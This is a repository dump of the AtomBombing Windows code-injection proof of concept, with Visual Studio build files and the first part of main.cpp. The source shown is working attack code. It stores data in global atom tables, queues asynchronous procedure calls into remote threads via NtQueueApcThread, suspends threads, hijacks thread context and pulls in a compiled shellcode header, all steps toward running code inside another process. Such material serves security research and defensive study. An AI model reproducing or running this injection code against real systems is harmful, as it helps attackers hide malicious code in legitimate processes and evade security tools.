├── .gitignore
├── AtomBombing.sln
├── AtomBombing
├── AtomBombing.vcxproj
├── AtomBombing.vcxproj.filters
└── main.cpp
├── AtomBombingShellcode
├── AtomBombingShellcode.vcxproj
├── AtomBombingShellcode.vcxproj.filters
├── Scripts
│ └── Post_Link.py
└── main.c
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | [Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | artifacts/
46 |
47 | *_i.c
48 | *_p.c
49 | *_i.h
50 | *.ilk
51 | *.meta
52 | *.obj
53 | *.pch
54 | *.pdb
55 | *.pgc
56 | *.pgd
57 | *.rsp
58 | *.sbr
59 | *.tlb
60 | *.tli
61 | *.tlh
62 | *.tmp
63 | *.tmp_proj
64 | *.log
65 | *.vspscc
66 | *.vssscc
67 | .builds
68 | *.pidb
69 | *.svclog
70 | *.scc
71 |
72 | # Chutzpah Test files
73 | _Chutzpah*
74 |
75 | # Visual C++ cache files
76 | ipch/
77 | *.aps
78 | *.ncb
79 | *.opendb
80 | *.opensdf
81 | *.sdf
82 | *.cachefile
83 | *.VC.db
84 | *.VC.VC.opendb
85 |
86 | # Visual Studio profiler
87 | *.psess
88 | *.vsp
89 | *.vspx
90 | *.sap
91 |
92 | # TFS 2012 Local Workspace
93 | $tf/
94 |
95 | # Guidance Automation Toolkit
96 | *.gpState
97 |
98 | # ReSharper is a .NET coding add-in
99 | _ReSharper*/
100 | *.[Rr]e[Ss]harper
101 | *.DotSettings.user
102 |
103 | # JustCode is a .NET coding add-in
104 | .JustCode
105 |
106 | # TeamCity is a build add-in
107 | _TeamCity*
108 |
109 | # DotCover is a Code Coverage Tool
110 | *.dotCover
111 |
112 | # NCrunch
113 | _NCrunch_*
114 | .*crunch*.local.xml
115 | nCrunchTemp_*
116 |
117 | # MightyMoose
118 | *.mm.*
119 | AutoTest.Net/
120 |
121 | # Web workbench (sass)
122 | .sass-cache/
123 |
124 | # Installshield output folder
125 | [Ee]xpress/
126 |
127 | # DocProject is a documentation generator add-in
128 | DocProject/buildhelp/
129 | DocProject/Help/*.HxT
130 | DocProject/Help/*.HxC
131 | DocProject/Help/*.hhc
132 | DocProject/Help/*.hhk
133 | DocProject/Help/*.hhp
134 | DocProject/Help/Html2
135 | DocProject/Help/html
136 |
137 | # Click-Once directory
138 | publish/
139 |
140 | # Publish Web Output
141 | *.[Pp]ublish.xml
142 | *.azurePubxml
143 | # TODO: Comment the next line if you want to checkin your web deploy settings
144 | # but database connection strings (with potential passwords) will be unencrypted
145 | *.pubxml
146 | *.publishproj
147 |
148 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
149 | # checkin your Azure Web App publish settings, but sensitive information contained
150 | # in these scripts will be unencrypted
151 | PublishScripts/
152 |
153 | # NuGet Packages
154 | *.nupkg
155 | # The packages folder can be ignored because of Package Restore
156 | **/packages/*
157 | # except build/, which is used as an MSBuild target.
158 | !**/packages/build/
159 | # Uncomment if necessary however generally it will be regenerated when needed
160 | #!**/packages/repositories.config
161 | # NuGet v3's project.json files produces more ignoreable files
162 | *.nuget.props
163 | *.nuget.targets
164 |
165 | # Microsoft Azure Build Output
166 | csx/
167 | *.build.csdef
168 |
169 | # Microsoft Azure Emulator
170 | ecf/
171 | rcf/
172 |
173 | # Windows Store app package directories and files
174 | AppPackages/
175 | BundleArtifacts/
176 | Package.StoreAssociation.xml
177 | _pkginfo.txt
178 |
179 | # Visual Studio cache files
180 | # files ending in .cache can be ignored
181 | *.[Cc]ache
182 | # but keep track of directories ending in .cache
183 | !*.[Cc]ache/
184 |
185 | # Others
186 | ClientBin/
187 | ~$*
188 | *~
189 | *.dbmdl
190 | *.dbproj.schemaview
191 | *.pfx
192 | *.publishsettings
193 | node_modules/
194 | orleans.codegen.cs
195 |
196 | # Since there are multiple workflows, uncomment next line to ignore bower_components
197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
198 | #bower_components/
199 |
200 | # RIA/Silverlight projects
201 | Generated_Code/
202 |
203 | # Backup & report files from converting an old project file
204 | # to a newer Visual Studio version. Backup files are not needed,
205 | # because we have git ;-)
206 | _UpgradeReport_Files/
207 | Backup*/
208 | UpgradeLog*.XML
209 | UpgradeLog*.htm
210 |
211 | # SQL Server files
212 | *.mdf
213 | *.ldf
214 |
215 | # Business Intelligence projects
216 | *.rdl.data
217 | *.bim.layout
218 | *.bim_*.settings
219 |
220 | # Microsoft Fakes
221 | FakesAssemblies/
222 |
223 | # GhostDoc plugin setting file
224 | *.GhostDoc.xml
225 |
226 | # Node.js Tools for Visual Studio
227 | .ntvs_analysis.dat
228 |
229 | # Visual Studio 6 build log
230 | *.plg
231 |
232 | # Visual Studio 6 workspace options file
233 | *.opt
234 |
235 | # Visual Studio LightSwitch build output
236 | **/*.HTMLClient/GeneratedArtifacts
237 | **/*.DesktopClient/GeneratedArtifacts
238 | **/*.DesktopClient/ModelManifest.xml
239 | **/*.Server/GeneratedArtifacts
240 | **/*.Server/ModelManifest.xml
241 | _Pvt_Extensions
242 |
243 | # Paket dependency manager
244 | .paket/paket.exe
245 | paket-files/
246 |
247 | # FAKE - F# Make
248 | .fake/
249 |
250 | # JetBrains Rider
251 | .idea/
252 | *.sln.iml
253 |
--------------------------------------------------------------------------------
/AtomBombing.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.40629.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombing", "AtomBombing\AtomBombing.vcxproj", "{D303FA55-CFF8-4484-888A-F06B21559014}"
7 | ProjectSection(ProjectDependencies) = postProject
8 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133} = {DAD3D2B2-372F-4486-91FA-032CC0AA1133}
9 | EndProjectSection
10 | EndProject
11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombingShellcode", "AtomBombingShellcode\AtomBombingShellcode.vcxproj", "{DAD3D2B2-372F-4486-91FA-032CC0AA1133}"
12 | EndProject
13 | Global
14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | Debug|Win32 = Debug|Win32
16 | Release|Win32 = Release|Win32
17 | EndGlobalSection
18 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
19 | {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.ActiveCfg = Release|Win32
20 | {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.Build.0 = Release|Win32
21 | {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.ActiveCfg = Release|Win32
22 | {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.Build.0 = Release|Win32
23 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.ActiveCfg = Release|Win32
24 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.Build.0 = Release|Win32
25 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.ActiveCfg = Release|Win32
26 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.Build.0 = Release|Win32
27 | EndGlobalSection
28 | GlobalSection(SolutionProperties) = preSolution
29 | HideSolutionNode = FALSE
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/AtomBombing/AtomBombing.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Release
6 | Win32
7 |
8 |
9 |
10 | {D303FA55-CFF8-4484-888A-F06B21559014}
11 | Win32Proj
12 | AtomBombing
13 |
14 |
15 |
16 | Application
17 | false
18 | v120
19 | true
20 | Unicode
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | false
31 |
32 |
33 |
34 | Level4
35 |
36 |
37 | Disabled
38 | true
39 | true
40 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
41 | MultiThreaded
42 | false
43 |
44 |
45 | Console
46 | true
47 | true
48 | true
49 | ntdll.lib;%(AdditionalDependencies)
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/AtomBombing/AtomBombing.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/AtomBombing/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "..\Release\AtomBombingShellcode.h"
7 |
8 | #define RTL_MAXIMUM_ATOM_LENGTH (255)
9 | #define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)
10 |
11 | #define X86_RET ('\xc3')
12 |
13 | #define TEXT_SECTION (".text")
14 | #define DATA_SECTION (".data")
15 |
16 | #define NTDLL ("ntdll.dll")
17 | #define KERNEL32 ("kernel32.dll")
18 | #define NTSETCONTEXTTHREAD ("NtSetContextThread")
19 | #define NTWAITFORSINGLEOBJECT ("NtWaitForSingleObject")
20 | #define MEMCPY ("memcpy")
21 | #define GETPROCADDRESS ("GetProcAddress")
22 | #define LOADLIBRARYA ("LoadLibraryA")
23 | #define GLOBALGETATOMNAMEW ("GlobalGetAtomNameW")
24 | #define NTQUEUEAPCTHREAD ("NtQueueApcThread")
25 | #define WAITFORSINGLEOBJECTEX ("WaitForSingleObjectEx")
26 |
27 |
28 | typedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,
29 | PVOID SystemArgument1,
30 | PVOID SystemArgument2
31 | );
32 |
33 | typedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,
34 | PKNORMAL_ROUTINE ApcRoutine,
35 | PVOID NormalContext,
36 | PVOID SystemArgument1,
37 | PVOID SystemArgument2
38 | );
39 |
40 | typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
41 | HANDLE ProcessHandle,
42 | DWORD ProcessInformationClass,
43 | PVOID ProcessInformation,
44 | DWORD ProcessInformationLength,
45 | PDWORD ReturnLength
46 | );
47 |
48 | #pragma pack(push, 1)
49 | typedef struct _FUNCTIONPOINTERS
50 | {
51 | void *pfnLoadLibraryA;
52 | void *pfnGetProcAddress;
53 | } FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
54 | #pragma pack(pop)
55 |
56 | typedef enum _ESTATUS
57 | {
58 | ESTATUS_INVALID = -1,
59 | ESTATUS_SUCCESS = 0,
60 |
61 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,
62 |
63 | ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,
64 |
65 | ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,
66 |
67 | ESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,
68 |
69 | ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,
70 |
71 | ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,
72 | ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,
73 | ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,
74 |
75 | ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,
76 |
77 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
78 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,
79 |
80 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
81 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,
82 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,
83 |
84 | ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,
85 |
86 | ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,
87 |
88 | ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,
89 | ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,
90 | ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,
91 |
92 | ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,
93 |
94 | ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,
95 |
96 | ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,
97 | ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,
98 |
99 | ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,
100 | ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,
101 |
102 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,
103 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,
104 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,
105 |
106 | ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,
107 |
108 | ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,
109 | ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,
110 |
111 | ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,
112 |
113 | ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,
114 | ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,
115 | ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,
116 | ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,
117 | ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,
118 |
119 | } ESTATUS, *PESTATUS;
120 |
121 | #define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)
122 |
123 | ESTATUS GetFunctionAddressFromDll(
124 | PSTR pszDllName,
125 | PSTR pszFunctionName,
126 | PVOID *ppvFunctionAddress
127 | )
128 | {
129 | HMODULE hModule = NULL;
130 | PVOID pvFunctionAddress = NULL;
131 | ESTATUS eReturn = ESTATUS_INVALID;
132 |
133 | hModule = GetModuleHandleA(pszDllName);
134 | if (NULL == hModule)
135 | {
136 | eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;
137 | goto lblCleanup;
138 | }
139 |
140 | pvFunctionAddress = GetProcAddress(hModule, pszFunctionName);
141 | if (NULL == pvFunctionAddress)
142 | {
143 | eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;
144 | goto lblCleanup;
145 | }
146 |
147 | *ppvFunctionAddress = pvFunctionAddress;
148 | eReturn = ESTATUS_SUCCESS;
149 |
150 | lblCleanup:
151 | return eReturn;
152 | }
153 |
154 | ESTATUS main_WasAtomWrittenSuccessfully(
155 | ATOM tAtom,
156 | PWSTR pswzExpectedBuffer,
157 | PBOOL pbWasAtomWrittenSuccessfully
158 | )
159 | {
160 | LPWSTR pswzCheckBuffer = NULL;
161 | DWORD cbCheckBuffer = 0;
162 | ESTATUS eReturn = ESTATUS_INVALID;
163 | UINT uiRet = 0;
164 | HMODULE hUser32 = NULL;
165 | BOOL bWasAtomWrittenSuccessfully = FALSE;
166 |
167 | // If user32.dll is not loaded, the ATOM functions return access denied.For more details see :
168 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
169 | hUser32 = LoadLibrary(L"user32.dll");
170 | if (NULL == hUser32)
171 | {
172 | goto lblCleanup;
173 | }
174 |
175 | cbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);
176 |
177 | pswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);
178 | if (NULL == pswzCheckBuffer)
179 | {
180 | printf("HeapAlloc failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
181 | eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;
182 | goto lblCleanup;
183 | }
184 |
185 | uiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);
186 | if (0 == uiRet)
187 | {
188 | printf("GlobalGetAtomNameA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
189 | eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;
190 | goto lblCleanup;
191 | }
192 |
193 | bWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));
194 |
195 | eReturn = ESTATUS_SUCCESS;
196 | *pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully;
197 |
198 | lblCleanup:
199 | if (NULL != pswzCheckBuffer)
200 | {
201 | HeapFree(GetProcessHeap(), 0, pswzCheckBuffer);
202 | pswzCheckBuffer = NULL;
203 | }
204 | return eReturn;
205 | }
206 |
207 | ESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)
208 | {
209 | ATOM tAtom = 0;
210 | ESTATUS eReturn = ESTATUS_INVALID;
211 | LPWSTR pswzCheckBuffer = NULL;
212 | DWORD cbCheckBuffer = 0;
213 | UINT uiRet = 0;
214 | HMODULE hUser32 = NULL;
215 | BOOL bWasAtomWrittenSuccessfully = FALSE;
216 |
217 | // If user32.dll is not loaded, the ATOM functions return access denied. For more details see :
218 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
219 | hUser32 = LoadLibrary(L"user32.dll");
220 |
221 | do
222 | {
223 | tAtom = GlobalAddAtomW(pswzBuffer);
224 | if (0 == tAtom)
225 | {
226 | printf("GlobalAddAtomA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
227 | eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;
228 | goto lblCleanup;
229 | }
230 |
231 | eReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);
232 | if (ESTATUS_FAILED(eReturn))
233 | {
234 | goto lblCleanup;
235 | }
236 |
237 | if (FALSE != bWasAtomWrittenSuccessfully)
238 | {
239 | break;
240 | }
241 |
242 | for (int i = 0; i < 0x2; i++)
243 | {
244 | SetLastError(ERROR_SUCCESS);
245 | GlobalDeleteAtom(tAtom);
246 | if (ERROR_SUCCESS != GetLastError())
247 | {
248 | eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;
249 | goto lblCleanup;
250 | }
251 | }
252 | } while (FALSE == bWasAtomWrittenSuccessfully);
253 |
254 |
255 | eReturn = ESTATUS_SUCCESS;
256 | *ptAtom = tAtom;
257 |
258 | lblCleanup:
259 | return eReturn;
260 |
261 | }
262 |
263 | ESTATUS main_NtQueueApcThreadWrapper(
264 | HANDLE hThread,
265 | PKNORMAL_ROUTINE pfnApcRoutine,
266 | PVOID pvArg1,
267 | PVOID pvArg2,
268 | PVOID pvArg3
269 | )
270 | {
271 | HMODULE hNtDll = NULL;
272 | HMODULE hKernel32 = NULL;
273 | HMODULE hUser32 = NULL;
274 | _NtQueueApcThread NtQueueApcThread = NULL;
275 | NTSTATUS ntStatus = NULL;
276 | ESTATUS eReturn = ESTATUS_INVALID;
277 |
278 | // If user32.dll is not loaded, the ATOM functions return access denied. For more details see:
279 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
280 | hUser32 = LoadLibrary(L"user32.dll");
281 | hKernel32 = GetModuleHandle(L"kernel32.dll");
282 | hNtDll = GetModuleHandle(L"ntdll.dll");
283 |
284 | eReturn = GetFunctionAddressFromDll(
285 | NTDLL,
286 | NTQUEUEAPCTHREAD,
287 | (PVOID *) &NtQueueApcThread
288 | );
289 | if (ESTATUS_FAILED(eReturn))
290 | {
291 | goto lblCleanup;
292 | }
293 |
294 | ntStatus = NtQueueApcThread(
295 | hThread,
296 | pfnApcRoutine,
297 | pvArg1,
298 | pvArg2,
299 | pvArg3
300 | );
301 | if (0 != ntStatus)
302 | {
303 | printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus);
304 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;
305 | goto lblCleanup;
306 | }
307 |
308 | eReturn = ESTATUS_SUCCESS;
309 |
310 | lblCleanup:
311 |
312 | return eReturn;
313 | }
314 |
315 | ESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(
316 | HANDLE hRemoteThread,
317 | HANDLE hWaitHandle,
318 | DWORD dwWaitMilliseconds,
319 | BOOL bWaitAlertable
320 | )
321 | {
322 | ESTATUS eReturn = ESTATUS_INVALID;
323 | PKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;
324 |
325 | eReturn = GetFunctionAddressFromDll(
326 | KERNEL32,
327 | WAITFORSINGLEOBJECTEX,
328 | (PVOID *) &pfnWaitForSingleObjectEx
329 | );
330 | if (ESTATUS_FAILED(eReturn))
331 | {
332 | goto lblCleanup;
333 | }
334 |
335 | eReturn = main_NtQueueApcThreadWrapper(
336 | hRemoteThread,
337 | pfnWaitForSingleObjectEx,
338 | hWaitHandle,
339 | (PVOID)dwWaitMilliseconds,
340 | (PVOID)bWaitAlertable
341 | );
342 | if (ESTATUS_FAILED(eReturn))
343 | {
344 | goto lblCleanup;
345 | }
346 |
347 | eReturn = ESTATUS_SUCCESS;
348 |
349 | lblCleanup:
350 |
351 | return eReturn;
352 | }
353 |
354 | ESTATUS main_QueueUserApcWrapperAndKeepAlertable(
355 | HANDLE hThread,
356 | PAPCFUNC pfnAPC,
357 | ULONG_PTR dwData
358 | )
359 | {
360 | ESTATUS eReturn = ESTATUS_INVALID;
361 | DWORD dwErr = FALSE;
362 |
363 | dwErr = SuspendThread(hThread);
364 | if (((DWORD)-1) == dwErr)
365 | {
366 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
367 | printf("SuspendThread failed. GLE: %d.", GetLastError());
368 | goto lblCleanup;
369 | }
370 |
371 | dwErr = QueueUserAPC(pfnAPC, hThread, dwData);
372 | if (0 == dwErr)
373 | {
374 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;
375 | printf("SuspendThread failed. GLE: %d.", GetLastError());
376 | goto lblCleanup;
377 | }
378 |
379 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
380 | hThread,
381 | GetCurrentThread(),
382 | 5000,
383 | TRUE
384 | );
385 | if (ESTATUS_FAILED(eReturn))
386 | {
387 | goto lblCleanup;
388 | }
389 |
390 | dwErr = ResumeThread(hThread);
391 | if (((DWORD)-1) == dwErr)
392 | {
393 | printf("ResumeThread failed. GLE: %d.", GetLastError());
394 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
395 | goto lblCleanup;
396 | }
397 |
398 | eReturn = ESTATUS_SUCCESS;
399 |
400 | lblCleanup:
401 | return eReturn;
402 | }
403 |
404 | ESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(
405 | HANDLE hThread,
406 | PKNORMAL_ROUTINE pfnApcRoutine,
407 | PVOID pvArg1,
408 | PVOID pvArg2,
409 | PVOID pvArg3
410 | )
411 | {
412 | ESTATUS eReturn = ESTATUS_INVALID;
413 | DWORD dwErr = FALSE;
414 |
415 | dwErr = SuspendThread(hThread);
416 | if (((DWORD)-1) == dwErr)
417 | {
418 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
419 | printf("SuspendThread failed. GLE: %d.", GetLastError());
420 | goto lblCleanup;
421 | }
422 |
423 | eReturn = main_NtQueueApcThreadWrapper(
424 | hThread,
425 | pfnApcRoutine,
426 | pvArg1,
427 | pvArg2,
428 | pvArg3
429 | );
430 | if (ESTATUS_FAILED(eReturn))
431 | {
432 | goto lblCleanup;
433 | }
434 |
435 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
436 | hThread,
437 | GetCurrentThread(),
438 | 5000,
439 | TRUE
440 | );
441 | if (ESTATUS_FAILED(eReturn))
442 | {
443 | goto lblCleanup;
444 | }
445 |
446 | dwErr = ResumeThread(hThread);
447 | if (((DWORD)-1) == dwErr)
448 | {
449 | printf("ResumeThread failed. GLE: %d.", GetLastError());
450 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
451 | goto lblCleanup;
452 | }
453 |
454 | eReturn = ESTATUS_SUCCESS;
455 |
456 | lblCleanup:
457 | return eReturn;
458 | }
459 |
460 | ESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)
461 | {
462 | ESTATUS eReturn = ESTATUS_INVALID;
463 |
464 | eReturn = main_QueueUserApcWrapperAndKeepAlertable(
465 | hThread,
466 | (PAPCFUNC)SetEvent,
467 | (ULONG_PTR)hRemoteHandle
468 | );
469 | if (ESTATUS_FAILED(eReturn))
470 | {
471 | goto lblCleanup;
472 | }
473 |
474 | eReturn = ESTATUS_SUCCESS;
475 |
476 | lblCleanup:
477 | return eReturn;
478 | }
479 |
480 | ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)
481 | {
482 | PKNORMAL_ROUTINE pfnSetThreadContext = NULL;
483 | ESTATUS eReturn = ESTATUS_INVALID;
484 |
485 | eReturn = GetFunctionAddressFromDll(
486 | NTDLL,
487 | NTSETCONTEXTTHREAD,
488 | (PVOID *) &pfnSetThreadContext
489 | );
490 | if (ESTATUS_FAILED(eReturn))
491 | {
492 | goto lblCleanup;
493 | }
494 |
495 |
496 | eReturn = main_NtQueueApcThreadWrapper(
497 | hThread,
498 | pfnSetThreadContext,
499 | GetCurrentThread(),
500 | (PVOID)ptContext,
501 | (PVOID)NULL
502 | );
503 | if (ESTATUS_FAILED(eReturn))
504 | {
505 | goto lblCleanup;
506 | }
507 |
508 | eReturn = ESTATUS_SUCCESS;
509 |
510 | lblCleanup:
511 |
512 | return eReturn;
513 | }
514 |
515 | ESTATUS main_DoesStringContainNullTerminatorW(
516 | PVOID pvBuffer,
517 | DWORD dwBufferSize,
518 | PBOOL pbDoesStringContainUnicodeNullTerminator
519 | )
520 | {
521 | PWCHAR pwcPos = NULL;
522 | ESTATUS eReturn = ESTATUS_INVALID;
523 |
524 | pwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);
525 | if (0 == pwcPos)
526 | {
527 | eReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;
528 | goto lblCleanup;
529 | }
530 |
531 | if ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1))
532 | {
533 | *pbDoesStringContainUnicodeNullTerminator = FALSE;
534 | }
535 | else
536 | {
537 | *pbDoesStringContainUnicodeNullTerminator = TRUE;
538 | }
539 |
540 | eReturn = ESTATUS_SUCCESS;
541 |
542 | lblCleanup:
543 | return eReturn;
544 | }
545 |
